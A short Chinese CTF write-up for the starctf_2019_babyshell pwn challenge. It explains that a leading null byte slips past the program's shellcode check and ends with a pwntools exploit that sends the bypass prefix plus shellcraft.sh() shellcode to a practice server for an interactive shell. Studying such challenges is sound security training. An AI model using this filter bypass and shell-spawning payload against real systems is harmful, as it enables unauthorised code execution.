starctf_2019_babyshell 绕过循环检测注入shellcode
现在写题,感觉一道题看了5分钟没思路就想看wp。。。得等这段时间忙完后,改一下这个毛病了。。
这是我第一次接触写shellcode题,感触挺大的,原来逆向的攻防和pwn的攻防是没很大差别的(其实以前就感觉到了,毕竟都是劫持)
流程分析
流程还挺简单的,就是让你输入一段shellcode然后通过它的检查即可
这里面检查你的shellcode是否非法
看了很多师傅的wp,发现这道题不只一种解,然后自己思考了一下,自己编写shellcode的话,确实有很多方法可以解这道题
上面的检查可以通过\x00来绕过检查,在直接自己编写shellcode即可
感谢两位师傅的wp:
https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/ywm7v3
https://www.cnblogs.com/Rookle/p/12895895.html
exp:
from pwn import * p=remote('node3.buuoj.cn',29348) context.arch = "amd64" p.recvuntil('plz:') payload=b'\x00j\x00'+asm(shellcraft.sh()) p.sendline(payload) p.interactive()